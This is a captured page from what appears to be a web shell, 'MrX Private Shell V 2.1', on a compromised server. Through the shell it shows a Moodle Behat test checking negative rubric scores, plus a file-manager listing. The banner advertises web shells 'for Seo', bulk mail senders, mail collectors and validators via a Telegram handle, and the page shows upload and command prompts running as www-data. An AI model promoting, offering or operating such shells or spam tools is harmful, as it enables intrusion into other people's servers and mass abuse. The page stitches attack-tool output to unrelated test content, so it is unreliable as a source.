__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@gradingform @gradingform_rubric @javascript
Feature: Rubrics can have levels with negative scores
  In order to use and refine rubrics to grade students
  As a teacher
  I need to be able to penalise for very wrong submissions

  Scenario: Using negative levels in rubrics
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | teacher1@example.com |
      | student1 | Student | 1 | student1@example.com |
      | student2 | Student | 2 | student2@example.com |
      | student3 | Student | 3 | student3@example.com |
    And the following "courses" exist:
      | fullname | shortname | format |
      | Course 1 | C1 | topics |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
      | student1 | C1 | student |
      | student2 | C1 | student |
      | student3 | C1 | student |
    And the following "scales" exist:
      | name         | scale                                     |
      | Test scale 1 | Disappointing, Good, Very good, Excellent |
    And the following "activities" exist:
      | activity   | name              | intro | course | idnumber    | grade   | advancedgradingmethod_submissions |
      | assign     | Test assignment 1 | Test  | C1     | assign1     | 100     | rubric                            |
    And I change window size to "large"
    When I log in as "teacher1"
    And I am on "Course 1" course homepage with editing mode on
    And I go to "Test assignment 1" advanced grading definition page
    And I set the following fields to these values:
      | Name | Assignment 1 rubric |
      | Description | Rubric test description |
    And I define the following rubric:
      | Criterion 1 | Did not try | -11 | Level 12 | 25 | Level 13 | 40 | Level 14  | 50  |
      | Criterion 2 | Very bad    | -20 | Level 22 | 25 | Level 23 | 30 |           |     |
      | Criterion 3 | Level 31    | 10  | Level 32 | 20 |          |    |           |     |
    And I press "Save rubric and make it ready"
    # Grading a student.
    And I navigate to "Assignment" in current page administration
    And I go to "Student 1" "Test assignment 1" activity advanced grading page
    And I grade by filling the rubric with:
      | Criterion 1 | 25 |  |
      | Criterion 2 | 30 |  |
      | Criterion 3 | 10 |  |
    And I save the advanced grading form
    And I am on the "Test assignment 1" "assign activity" page
    And I go to "Student 2" "Test assignment 1" activity advanced grading page
    And I grade by filling the rubric with:
      | Criterion 1 | 25 |  |
      | Criterion 2 | -20 |  |
      | Criterion 3 | 10 |  |
    And I save the advanced grading form
    And I am on the "Test assignment 1" "assign activity" page
    And I go to "Student 3" "Test assignment 1" activity advanced grading page
    And I grade by filling the rubric with:
      | Criterion 1 | -11 |  |
      | Criterion 2 | -20 |  |
      | Criterion 3 | 10 |  |
    And I save the advanced grading form
    # Checking that the user grade is correct.
    And I should see "65.00" in the "student1@example.com" "table_row"
    And I should see "15.00" in the "student2@example.com" "table_row"
    And I should see "0.00" in the "student3@example.com" "table_row"
    And I should not see "-" in the "student3@example.com" "table_row"
    And I log out

Filemanager

Name Type Size Permission Actions
behat_gradingform_rubric.php File 21.43 KB 0777
edit_rubric.feature File 8.66 KB 0777
grade_calculation.feature File 2.83 KB 0777
negative_points.feature File 3.33 KB 0777
publish_rubric_templates.feature File 2.68 KB 0777
reuse_own_rubrics.feature File 2.53 KB 0777
Filemanager